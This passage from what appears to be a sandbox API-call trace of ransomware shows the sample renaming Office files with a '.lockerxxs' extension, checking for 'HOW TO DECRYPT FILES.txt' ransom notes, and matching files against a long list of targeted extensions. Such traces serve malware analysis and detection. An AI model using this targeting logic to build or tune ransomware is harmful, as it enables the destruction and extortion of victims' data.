office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttaskicon.jpg.lockerxxs")) returned 1 [0065.491] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="ProjectTaskIconMask.bmp", cAlternateFileName="PROJEC~2.BMP")) returned 1 [0065.491] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.491] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectTaskIconMask.bmp") returned -1 [0065.491] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectTaskIconMask.bmp") returned -1 [0065.491] lstrcmpiA (lpString1="", lpString2="ProjectTaskIconMask.bmp") returned -1 [0065.491] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIcon.jpg") returned="ProjectTaskIcon.jpg" [0065.491] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.491] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.491] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.491] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.491] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ProjectTaskIconMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp" [0065.491] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.ems") returned 0 [0065.492] lstrlenA (lpString="*.ems") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.db") returned 0 [0065.492] lstrlenA (lpString="*.db") returned 4 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.dbf") returned 0 [0065.492] lstrlenA (lpString="*.dbf") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.myox") returned 0 [0065.492] lstrlenA (lpString="*.myox") returned 6 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.myo") returned 0 [0065.492] lstrlenA (lpString="*.myo") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbw") returned 0 [0065.492] lstrlenA (lpString="*.qbw") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbb") returned 0 [0065.492] lstrlenA (lpString="*.qbb") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbm") returned 0 [0065.492] lstrlenA (lpString="*.qbm") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbo") returned 0 [0065.492] lstrlenA (lpString="*.qbo") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbx") returned 0 [0065.492] lstrlenA (lpString="*.qbx") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qba") returned 0 [0065.492] lstrlenA (lpString="*.qba") returned 5 [0065.492] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qby") returned 0 [0065.492] lstrlenA (lpString="*.qby") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qbj") returned 0 [0065.493] lstrlenA (lpString="*.qbj") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.ofx") returned 0 [0065.493] lstrlenA (lpString="*.ofx") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.qif") returned 0 [0065.493] lstrlenA (lpString="*.qif") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mye") returned 0 [0065.493] lstrlenA (lpString="*.mye") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mbox") returned 0 [0065.493] lstrlenA (lpString="*.mbox") returned 6 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.eml") returned 0 [0065.493] lstrlenA (lpString="*.eml") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.pst") returned 0 [0065.493] lstrlenA (lpString="*.pst") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.ost") returned 0 [0065.493] lstrlenA (lpString="*.ost") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.idx") returned 0 [0065.493] lstrlenA (lpString="*.idx") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.dbx") returned 0 [0065.493] lstrlenA (lpString="*.dbx") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.sql") returned 0 [0065.493] lstrlenA (lpString="*.sql") returned 5 [0065.493] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mdb") returned 0 [0065.494] lstrlenA (lpString="*.mdb") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.fdb") returned 0 [0065.494] lstrlenA (lpString="*.fdb") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.wab") returned 0 [0065.494] lstrlenA (lpString="*.wab") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.dat") returned 0 [0065.494] lstrlenA (lpString="*.dat") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.txt") returned 0 [0065.494] lstrlenA (lpString="*.txt") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.jpeg") returned 0 [0065.494] lstrlenA (lpString="*.jpeg") returned 6 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.jpg") returned 0 [0065.494] lstrlenA (lpString="*.jpg") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.png") returned 0 [0065.494] lstrlenA (lpString="*.png") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.php") returned 0 [0065.494] lstrlenA (lpString="*.php") returned 5 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.cs") returned 0 [0065.494] lstrlenA (lpString="*.cs") returned 4 [0065.494] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.cpp") returned 0 [0065.494] lstrlenA (lpString="*.cpp") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.rar") returned 0 [0065.495] lstrlenA (lpString="*.rar") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.zip") returned 0 [0065.495] lstrlenA (lpString="*.zip") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.html") returned 0 [0065.495] lstrlenA (lpString="*.html") returned 6 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.htm") returned 0 [0065.495] lstrlenA (lpString="*.htm") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.xlsx") returned 0 [0065.495] lstrlenA (lpString="*.xlsx") returned 6 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.xls") returned 0 [0065.495] lstrlenA (lpString="*.xls") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mp4") returned 0 [0065.495] lstrlenA (lpString="*.mp4") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.ppt") returned 0 [0065.495] lstrlenA (lpString="*.ppt") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.pptx") returned 0 [0065.495] lstrlenA (lpString="*.pptx") returned 6 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.doc") returned 0 [0065.495] lstrlenA (lpString="*.doc") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.dot") returned 0 [0065.495] lstrlenA (lpString="*.dot") returned 5 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.docx") returned 0 [0065.495] lstrlenA (lpString="*.docx") returned 6 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.7z") returned 0 [0065.495] lstrlenA (lpString="*.7z") returned 4 [0065.495] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.tar") returned 0 [0065.496] lstrlenA (lpString="*.tar") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.bz2") returned 0 [0065.496] lstrlenA (lpString="*.bz2") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.gz") returned 0 [0065.496] lstrlenA (lpString="*.gz") returned 4 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mkv") returned 0 [0065.496] lstrlenA (lpString="*.mkv") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.eml") returned 0 [0065.496] lstrlenA (lpString="*.eml") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.msg") returned 0 [0065.496] lstrlenA (lpString="*.msg") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.edb") returned 0 [0065.496] lstrlenA (lpString="*.edb") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.accdb") returned 0 [0065.496] lstrlenA (lpString="*.accdb") returned 7 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.odb") returned 0 [0065.496] lstrlenA (lpString="*.odb") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.java") returned 0 [0065.496] lstrlenA (lpString="*.java") returned 6 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.asm") returned 0 [0065.496] lstrlenA (lpString="*.asm") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.pfx") returned 0 [0065.496] lstrlenA (lpString="*.pfx") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.pem") returned 0 [0065.496] lstrlenA (lpString="*.pem") returned 5 [0065.496] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.p12") returned 0 [0065.497] lstrlenA (lpString="*.p12") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.gpg") returned 0 [0065.497] lstrlenA (lpString="*.gpg") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.vsd") returned 0 [0065.497] lstrlenA (lpString="*.vsd") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.odg") returned 0 [0065.497] lstrlenA (lpString="*.odg") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.raw") returned 0 [0065.497] lstrlenA (lpString="*.raw") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.nef") returned 0 [0065.497] lstrlenA (lpString="*.nef") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.svg") returned 0 [0065.497] lstrlenA (lpString="*.svg") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.psd") returned 0 [0065.497] lstrlenA (lpString="*.psd") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.vmx") returned 0 [0065.497] lstrlenA (lpString="*.vmx") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.vmdk") returned 0 [0065.497] lstrlenA (lpString="*.vmdk") returned 6 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.vdi") returned 0 [0065.497] lstrlenA (lpString="*.vdi") returned 5 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.lay6") returned 0 [0065.497] lstrlenA (lpString="*.lay6") returned 6 [0065.497] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mpeg") returned 0 [0065.497] lstrlenA (lpString="*.mpeg") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.djvu") returned 0 [0065.498] lstrlenA (lpString="*.djvu") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.tiff") returned 0 [0065.498] lstrlenA (lpString="*.tiff") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.backup") returned 0 [0065.498] lstrlenA (lpString="*.backup") returned 8 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.pdf") returned 0 [0065.498] lstrlenA (lpString="*.pdf") returned 5 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.cert") returned 0 [0065.498] lstrlenA (lpString="*.cert") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.docm") returned 0 [0065.498] lstrlenA (lpString="*.docm") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.xlsm") returned 0 [0065.498] lstrlenA (lpString="*.xlsm") returned 6 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.dwg") returned 0 [0065.498] lstrlenA (lpString="*.dwg") returned 5 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.nd") returned 0 [0065.498] lstrlenA (lpString="*.nd") returned 4 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.tlg") returned 0 [0065.498] lstrlenA (lpString="*.tlg") returned 5 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.lgb") returned 0 [0065.498] lstrlenA (lpString="*.lgb") returned 5 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mov") returned 0 [0065.498] lstrlenA (lpString="*.mov") returned 5 [0065.498] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.xdw") returned 0 [0065.498] lstrlenA (lpString="*.xdw") returned 5 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.ods") returned 0 [0065.499] lstrlenA (lpString="*.ods") returned 5 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.wav") returned 0 [0065.499] lstrlenA (lpString="*.wav") returned 5 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.mp3") returned 0 [0065.499] lstrlenA (lpString="*.mp3") returned 5 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.aiff") returned 0 [0065.499] lstrlenA (lpString="*.aiff") returned 6 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.flac") returned 0 [0065.499] lstrlenA (lpString="*.flac") returned 6 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.m4a") returned 0 [0065.499] lstrlenA (lpString="*.m4a") returned 5 [0065.499] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp", pszSpec="*.csv") returned 0 [0065.499] lstrlenA (lpString="*.csv") returned 5 [0065.499] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="ProjectTool", cAlternateFileName="PROJEC~1")) returned 1 [0065.499] lstrcmpA (lpString1=".", lpString2="ProjectTool") returned -1 [0065.499] lstrcmpA (lpString1="..", lpString2="ProjectTool") returned -1 [0065.499] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTaskIconMask.bmp") returned="ProjectTaskIconMask.bmp" [0065.499] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", 